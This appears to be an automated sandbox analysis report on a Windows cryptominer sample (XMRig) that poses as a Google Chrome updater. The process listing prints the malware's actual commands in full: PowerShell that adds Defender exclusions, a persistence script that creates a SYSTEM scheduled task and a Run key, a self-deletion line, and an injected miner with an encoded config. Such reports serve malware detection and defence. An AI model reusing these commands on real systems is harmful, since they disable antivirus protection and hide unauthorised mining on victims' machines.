Overview
overview
10Static
static
3grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs... K.exe
windows7-x64
10grhddhsGHs... K.exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10grhddhsGHs...1).exe
windows7-x64
10grhddhsGHs...1).exe
windows10-2004-x64
10grhddhsGHs...2).exe
windows7-x64
10grhddhsGHs...2).exe
windows10-2004-x64
10grhddhsGHs...3).exe
windows7-x64
10grhddhsGHs...3).exe
windows10-2004-x64
10grhddhsGHs...4).exe
windows7-x64
10grhddhsGHs...4).exe
windows10-2004-x64
10grhddhsGHs...5).exe
windows7-x64
10grhddhsGHs...5).exe
windows10-2004-x64
10grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10Resubmissions
11/02/2025, 16:33
250211-t2ztsstkey 1011/02/2025, 16:33
250211-t2zh2atkex 1011/02/2025, 16:33
250211-t2yxhatkew 1011/02/2025, 16:33
250211-t2nrjasqdk 1024/10/2024, 20:12
241024-yyvg5asemn 1024/10/2024, 20:11
241024-yygk9ssemk 1024/10/2024, 20:11
241024-yygahasemj 1024/10/2024, 20:11
241024-yyd55sselq 1024/10/2024, 20:08
241024-yw247asdqp 1024/10/2024, 20:08
241024-yw1lcssdqn 10Analysis
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max time kernel
900s -
max time network
903s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
11/02/2025, 16:33
Static task
static1
Behavioral task
behavioral1
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral3
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win7-20240903-en
Behavioral task
behavioral4
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral5
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win7-20240903-en
Behavioral task
behavioral6
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral7
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win7-20240903-en
Behavioral task
behavioral8
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral9
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win7-20250207-en
Behavioral task
behavioral10
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral11
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win7-20240903-en
Behavioral task
behavioral12
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral13
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win7-20241023-en
Behavioral task
behavioral14
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral15
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win7-20240903-en
Behavioral task
behavioral16
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral17
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win7-20241023-en
Behavioral task
behavioral18
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral19
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win7-20240729-en
Behavioral task
behavioral20
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral21
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win7-20240903-en
Behavioral task
behavioral22
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral23
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win7-20241010-en
Behavioral task
behavioral24
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral25
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win7-20241010-en
Behavioral task
behavioral26
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral27
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win7-20241023-en
Behavioral task
behavioral28
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral29
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win7-20241010-en
Behavioral task
behavioral30
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral31
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (30).exe
Resource
win7-20240903-en
General
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Target
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 3000 created 1412 3000 qM5GMXBk6hJE6Y5e (27).exe 20 PID 3000 created 1412 3000 qM5GMXBk6hJE6Y5e (27).exe 20 PID 3000 created 1412 3000 qM5GMXBk6hJE6Y5e (27).exe 20 PID 3000 created 1412 3000 qM5GMXBk6hJE6Y5e (27).exe 20 PID 1708 created 1412 1708 updater.exe 20 PID 1708 created 1412 1708 updater.exe 20 PID 1708 created 1412 1708 updater.exe 20 PID 1708 created 1412 1708 updater.exe 20 PID 2408 created 1412 2408 conhost.exe 20 PID 1708 created 1412 1708 updater.exe 20 -
Xmrig family
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XMRig Miner payload 30 IoCs
resource yara_rule behavioral25/memory/2708-49-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2708-48-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2708-51-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2708-53-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2708-55-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2708-57-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2708-59-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2708-61-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2708-63-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2708-65-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2708-67-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2708-69-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2708-71-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2708-73-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2708-75-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2708-77-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2708-79-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2708-81-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2708-83-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2708-85-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2708-87-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2708-89-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2708-91-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2708-93-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2708-95-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2708-97-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2708-99-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2708-101-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2708-103-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2708-105-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2956 powershell.exe 3056 powershell.exe 2908 powershell.exe 2108 powershell.exe -
Deletes itself 1 IoCs
pid Process 2824 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 1708 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 388 taskeng.exe -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1708 set thread context of 2408 1708 updater.exe 47 PID 1708 set thread context of 2708 1708 updater.exe 54 -
resource yara_rule behavioral25/memory/2708-44-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2708-49-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2708-48-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2708-51-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2708-53-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2708-55-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2708-57-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2708-59-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2708-61-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2708-63-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2708-65-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2708-67-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2708-69-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2708-71-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2708-73-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2708-75-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2708-77-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2708-79-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2708-81-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2708-83-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2708-85-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2708-87-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2708-89-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2708-91-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2708-93-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2708-95-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2708-97-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2708-99-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2708-101-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2708-103-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2708-105-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe qM5GMXBk6hJE6Y5e (27).exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 2152 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 4075ae5ca97cdb01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2804 schtasks.exe 2844 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 3000 qM5GMXBk6hJE6Y5e (27).exe 3000 qM5GMXBk6hJE6Y5e (27).exe 2956 powershell.exe 3000 qM5GMXBk6hJE6Y5e (27).exe 3000 qM5GMXBk6hJE6Y5e (27).exe 2908 powershell.exe 3000 qM5GMXBk6hJE6Y5e (27).exe 3000 qM5GMXBk6hJE6Y5e (27).exe 3000 qM5GMXBk6hJE6Y5e (27).exe 3000 qM5GMXBk6hJE6Y5e (27).exe 2812 powershell.exe 1708 updater.exe 1708 updater.exe 3056 powershell.exe 1708 updater.exe 1708 updater.exe 2108 powershell.exe 1708 updater.exe 1708 updater.exe 1708 updater.exe 1708 updater.exe 2408 conhost.exe 2408 conhost.exe 1708 updater.exe 1708 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 464 Process not Found -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 2956 powershell.exe Token: SeDebugPrivilege 2908 powershell.exe Token: SeDebugPrivilege 2812 powershell.exe Token: SeDebugPrivilege 3056 powershell.exe Token: SeDebugPrivilege 2108 powershell.exe Token: SeDebugPrivilege 1708 updater.exe Token: SeAssignPrimaryTokenPrivilege 2152 WMIC.exe Token: SeIncreaseQuotaPrivilege 2152 WMIC.exe Token: SeSecurityPrivilege 2152 WMIC.exe Token: SeTakeOwnershipPrivilege 2152 WMIC.exe Token: SeLoadDriverPrivilege 2152 WMIC.exe Token: SeSystemtimePrivilege 2152 WMIC.exe Token: SeBackupPrivilege 2152 WMIC.exe Token: SeRestorePrivilege 2152 WMIC.exe Token: SeShutdownPrivilege 2152 WMIC.exe Token: SeSystemEnvironmentPrivilege 2152 WMIC.exe Token: SeUndockPrivilege 2152 WMIC.exe Token: SeManageVolumePrivilege 2152 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 2152 WMIC.exe Token: SeIncreaseQuotaPrivilege 2152 WMIC.exe Token: SeSecurityPrivilege 2152 WMIC.exe Token: SeTakeOwnershipPrivilege 2152 WMIC.exe Token: SeLoadDriverPrivilege 2152 WMIC.exe Token: SeSystemtimePrivilege 2152 WMIC.exe Token: SeBackupPrivilege 2152 WMIC.exe Token: SeRestorePrivilege 2152 WMIC.exe Token: SeShutdownPrivilege 2152 WMIC.exe Token: SeSystemEnvironmentPrivilege 2152 WMIC.exe Token: SeUndockPrivilege 2152 WMIC.exe Token: SeManageVolumePrivilege 2152 WMIC.exe Token: SeLockMemoryPrivilege 2708 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2908 wrote to memory of 2804 2908 powershell.exe 33 PID 2908 wrote to memory of 2804 2908 powershell.exe 33 PID 2908 wrote to memory of 2804 2908 powershell.exe 33 PID 2824 wrote to memory of 2560 2824 cmd.exe 38 PID 2824 wrote to memory of 2560 2824 cmd.exe 38 PID 2824 wrote to memory of 2560 2824 cmd.exe 38 PID 2812 wrote to memory of 868 2812 powershell.exe 39 PID 2812 wrote to memory of 868 2812 powershell.exe 39 PID 2812 wrote to memory of 868 2812 powershell.exe 39 PID 388 wrote to memory of 1708 388 taskeng.exe 41 PID 388 wrote to memory of 1708 388 taskeng.exe 41 PID 388 wrote to memory of 1708 388 taskeng.exe 41 PID 2108 wrote to memory of 2844 2108 powershell.exe 46 PID 2108 wrote to memory of 2844 2108 powershell.exe 46 PID 2108 wrote to memory of 2844 2108 powershell.exe 46 PID 1708 wrote to memory of 2408 1708 updater.exe 47 PID 2516 wrote to memory of 2152 2516 cmd.exe 52 PID 2516 wrote to memory of 2152 2516 cmd.exe 52 PID 2516 wrote to memory of 2152 2516 cmd.exe 52 PID 1708 wrote to memory of 2708 1708 updater.exe 54 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1412
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C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (27).exe"C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (27).exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:3000
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2956
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2908 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2804
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2812 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:868
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (27).exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2824 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2560
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3056
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2108 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2844
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2408
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2516 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2152
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:2528
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2708
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C:\Windows\system32\taskeng.exetaskeng.exe {09856A15-A597-4095-A2E5-5404E237DF81} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:388 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1708
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UNDZ97PF53TSMTATKIEM.temp
Filesize7KB
MD5661481dd6fe0e3022531dd5c394db526
SHA1206ae01562067de2fe86610afecb5d9861d2a820
SHA256a20e8b4b333907aa0a0ac629c1d409ce2d493aefa3d47c0087ab43e00578c7b5
SHA51286577c586614929e5e31d9810582bd433870582b963785612ead3fa8da92dbcbc7a4d2516b26b184953b8f5ab7071ecba48219e7659af151577ce40f190002c3